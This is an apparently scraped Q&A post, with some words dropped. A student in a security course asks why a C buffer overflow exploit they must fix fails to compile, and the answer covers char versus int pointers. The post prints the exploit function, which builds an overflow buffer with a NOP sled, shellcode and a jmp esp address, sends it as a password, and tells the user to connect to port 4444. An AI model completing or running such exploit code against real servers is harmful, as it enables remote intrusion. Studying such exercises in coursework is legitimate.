buffer overflow - Assignment from Incompatible Pointer Type In C Script -
in course i'm taking, given broken buffer overflow script written in c, , have fix broken coding. i've patched few things far, receiving error message when trying compile (the error showed initial code, not edited):
646-fixed.c: in function ‘exploit’:
646-fixed.c:48: warning: assignment incompatible pointer type
below function error occurring. i'm not familiar c - responses received yesterday, understand happening due ptr's type being int, & evil's type being char. don't understand can fix - can this? can see full script here
void exploit(int sock) { file *test; int *ptr; char userbuf[] = "user madivan\r\n"; char evil[3001]; char buf[3012]; char receive[1024]; char nopsled[] = "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90"; memset(buf, 0x00, 3012); memset(evil, 0x00, 3001); memset(evil, 0x43, 3000); 48 ptr = &evil; ptr = ptr + 652; // 2608 memcpy(ptr, &nopsled, 16); ptr = ptr + 4; memcpy(ptr, &shellcode, 317); *(long*)&evil[2600] = 0x7cb41010; // jmp esp xp 7cb41020 ffe4 jmp esp // banner recv(sock, receive, 200, 0); printf("[+] %s", receive); // user printf("[+] sending username...\n"); send(sock, userbuf, strlen(userbuf), 0); recv(sock, receive, 200, 0); printf("[+] %s", receive); // passwd printf("[+] sending evil buffer...\n"); sprintf(buf, "pass %s\r\n", evil); //test = fopen("test.txt", "w"); //fprintf(test, "%s", buf); //fclose(test); send(sock, buf, strlen(buf), 0); printf("[*] done! connect host on port 4444...\n\n"); }
note: posted yesterday providing few lines of code, , result, couldn't clear answer - deleted , reposting it.
the type of &evil
pointer length 3001 array or char, or char (*)[3001]
. type of ptr
pointer int
, or int*
. types incompatible. can't assign 1 other.
what need pointer first element of evil
. can use pointer char
, i.e. char*
, , assign evil
it:
char *ptr; .... ptr = evil;
here, evil
decays pointer first element array, assignment works. equivalent assigning address of first element:
ptr = &evil[0];
Comments
Post a Comment